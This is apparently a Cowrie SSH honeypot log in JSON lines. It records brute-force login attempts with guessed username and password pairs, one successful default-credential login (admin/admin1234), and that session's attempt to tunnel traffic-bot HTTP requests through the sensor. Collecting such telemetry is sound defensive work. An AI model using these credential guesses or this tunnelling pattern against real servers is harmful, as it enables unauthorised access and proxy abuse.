{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:18.321544Z","src_ip":"45.153.34.195","session":"c92db1bbeb3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:18.548176Z","src_ip":"45.153.34.195","session":"c92db1bbeb3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad123","message":"login attempt [milad/milad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:18.944327Z","src_ip":"45.153.34.195","session":"c92db1bbeb3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:20.071269Z","src_ip":"45.153.34.195","session":"c92db1bbeb3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23476,"dst_ip":"10.17.0.5","dst_port":22,"session":"42a4f482513f","protocol":"ssh","message":"New connection: 45.153.34.195:23476 (10.17.0.5:22) [session: 42a4f482513f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:21.244931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:21.253613Z","src_ip":"45.153.34.195","session":"42a4f482513f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:21.333936Z","src_ip":"45.153.34.195","session":"42a4f482513f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxaszxas","message":"login attempt [root/zxaszxas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:21.686343Z","src_ip":"45.153.34.195","session":"42a4f482513f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:22.770626Z","src_ip":"45.153.34.195","session":"42a4f482513f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":32776,"dst_ip":"10.17.0.5","dst_port":22,"session":"d66ea53a22c6","protocol":"ssh","message":"New connection: 45.153.34.195:32776 (10.17.0.5:22) [session: d66ea53a22c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:24.232632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:24.236958Z","src_ip":"45.153.34.195","session":"d66ea53a22c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:24.337496Z","src_ip":"45.153.34.195","session":"d66ea53a22c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"ch4ng3m3","message":"login attempt [user1/ch4ng3m3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:24.607761Z","src_ip":"45.153.34.195","session":"d66ea53a22c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"35.4","message":"Connection lost after 35.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:25.298156Z","src_ip":"38.46.222.137","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:25.691612Z","src_ip":"45.153.34.195","session":"d66ea53a22c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":32784,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b11cac330d3","protocol":"ssh","message":"New connection: 45.153.34.195:32784 (10.17.0.5:22) [session: 9b11cac330d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:27.102798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:27.140201Z","src_ip":"45.153.34.195","session":"9b11cac330d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:27.216023Z","src_ip":"45.153.34.195","session":"9b11cac330d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"alfred","message":"login attempt [alfred/alfred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:27.523602Z","src_ip":"45.153.34.195","session":"9b11cac330d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:28.614996Z","src_ip":"45.153.34.195","session":"9b11cac330d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":53523,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd764b1c085a","protocol":"ssh","message":"New connection: 123.27.168.40:53523 (10.17.0.5:22) [session: dd764b1c085a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:29.231995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:29.235843Z","src_ip":"123.27.168.40","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:29.586199Z","src_ip":"123.27.168.40","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":32790,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeb0e73eda48","protocol":"ssh","message":"New connection: 45.153.34.195:32790 (10.17.0.5:22) [session: aeb0e73eda48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:30.016456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:30.124647Z","src_ip":"45.153.34.195","session":"aeb0e73eda48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:30.130373Z","src_ip":"45.153.34.195","session":"aeb0e73eda48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111","message":"login attempt [root/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:30.542727Z","src_ip":"45.153.34.195","session":"aeb0e73eda48","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:30.739466Z","src_ip":"123.27.168.40","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:31.151063Z","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:31.279449Z","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:31.556948Z","src_ip":"123.27.168.40","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Mobile/17A860 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=KylVZyVUMipxQ1ojTGU8Yw%3D%3DT%2BW7ytvsutCNwnz3pfyoaCCMd7cB%2BH2bJ8W5gZ4utjbEqHA9YcFAAsvDBHs0bKHr5GEUBuaEo7bIzXIUdv1pU8ld%2B%2FE35mzRPkPRGv%2F49ORfBsecqhP42Wx4HONTNQip1hap7856CRHhnIkWJY2ZcJ9ZB%2FJ3hpmeTyDEuQAKnRHk%2FN%2FjQ3GrWahc4G9HezMNHu%2BFwZ5o2kSFFx3w3PBxpAkGx9tW4tzSiuE%2BFFQiYickAEHnQYuKIaeNKpt9hbyN7XgROnB0H0bcj6r35rpGrAb3WaRSMOou%2ByKTG5cs6%2FFmF%2BUWMVZD4RvFhYtFhn4KUYErSYnXiXor01mJ6Z20nHxkBkZWY6gRNIFxfWEQOCLpGMjczHwCUD1PkbM3H3Q6yQXZ96022BkMDoJalauixMR8d32ShopLsJ34RJzTj%2BJ%2BQBKM6lYlLEXkccxGhcQgcwH4Fk%2FbXzSygqsVLuxLXFxlTohIx71dgTlJJ0to4Xhm0KmQznHmxCB%2F9KFxkrdtnVTTqOrTNu6Jddurm9tVgkO%2BSfgA1uN0t5lXhPDMgGsol5hujtUN431dhJZCH8OG%2BIntxoG3kdW6CKOQ%2FxMJ%2FIK7%2BbKkWY9DMooff65ay8N4YyGSbRKcBI%2F6qK7%2BTGrjY4lacSyrOBi1iL3MAiIp3dVrykg2Y3meyfHzL%2FCEEwrdBjnz4u4YRXvhzwtFCLhtKYnPYPlQgfDtVylKvp%2BvAyJQI%2BhdQ3jO9hUQeuLEMkXOawa2VHQFVXKDfA429h9E33SSrG0o4IK%2BLo8EmXEh3lMKRGCj22Tc23NpTBAsvEj903%2BNhYrGs3gdbNCAQKW9EboyJ8%2FuxxdQCwyBlZ4G7eZIOKoiE2DeqMKe9glzSH13r7NAZeiIfpo9x7eki9%2Fu23BkDfMZuBMBMX5q18o2BlnrTfEyXHZBzyu7Nu2hTEZnM%2BNB2hf6UvfP9uiVu0jaZMX470IVAWd%2FyD%2FwNP9PioVI1HMkk%2F8zdVE5Dz96JtPosgPuiOeGPPQk9HUkQbWyKYzlkJveSMtMv88wqUpU%2BJLVZts6UnXILKmw9g4W3nSVEwsz2ki2BGXnaKSc9gDR'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Mobile/17A860 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=KylVZyVUMipxQ1ojTGU8Yw%3D%3DT%2BW7ytvsutCNwnz3pfyoaCCMd7cB%2BH2bJ8W5gZ4utjbEqHA9YcFAAsvDBHs0bKHr5GEUBuaEo7bIzXIUdv1pU8ld%2B%2FE35mzRPkPRGv%2F49ORfBsecqhP42Wx4HONTNQip1hap7856CRHhnIkWJY2ZcJ9ZB%2FJ3hpmeTyDEuQAKnRHk%2FN%2FjQ3GrWahc4G9HezMNHu%2BFwZ5o2kSFFx3w3PBxpAkGx9tW4tzSiuE%2BFFQiYickAEHnQYuKIaeNKpt9hbyN7XgROnB0H0bcj6r35rpGrAb3WaRSMOou%2ByKTG5cs6%2FFmF%2BUWMVZD4RvFhYtFhn4KUYErSYnXiXor01mJ6Z20nHxkBkZWY6gRNIFxfWEQOCLpGMjczHwCUD1PkbM3H3Q6yQXZ96022BkMDoJalauixMR8d32ShopLsJ34RJzTj%2BJ%2BQBKM6lYlLEXkccxGhcQgcwH4Fk%2FbXzSygqsVLuxLXFxlTohIx71dgTlJJ0to4Xhm0KmQznHmxCB%2F9KFxkrdtnVTTqOrTNu6Jddurm9tVgkO%2BSfgA1uN0t5lXhPDMgGsol5hujtUN431dhJZCH8OG%2BIntxoG3kdW6CKOQ%2FxMJ%2FIK7%2BbKkWY9DMooff65ay8N4YyGSbRKcBI%2F6qK7%2BTGrjY4lacSyrOBi1iL3MAiIp3dVrykg2Y3meyfHzL%2FCEEwrdBjnz4u4YRXvhzwtFCLhtKYnPYPlQgfDtVylKvp%2BvAyJQI%2BhdQ3jO9hUQeuLEMkXOawa2VHQFVXKDfA429h9E33SSrG0o4IK%2BLo8EmXEh3lMKRGCj22Tc23NpTBAsvEj903%2BNhYrGs3gdbNCAQKW9EboyJ8%2FuxxdQCwyBlZ4G7eZIOKoiE2DeqMKe9glzSH13r7NAZeiIfpo9x7eki9%2Fu23BkDfMZuBMBMX5q18o2BlnrTfEyXHZBzyu7Nu2hTEZnM%2BNB2hf6UvfP9uiVu0jaZMX470IVAWd%2FyD%2FwNP9PioVI1HMkk%2F8zdVE5Dz96JtPosgPuiOeGPPQk9HUkQbWyKYzlkJveSMtMv88wqUpU%2BJLVZts6UnXILKmw9g4W3nSVEwsz2ki2BGXnaKSc9gDR'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:31.562725Z","src_ip":"123.27.168.40","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:31.646393Z","src_ip":"45.153.34.195","session":"aeb0e73eda48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:31.792056Z","src_ip":"123.27.168.40","session":"dd764b1c085a","protocol":"ssh"}
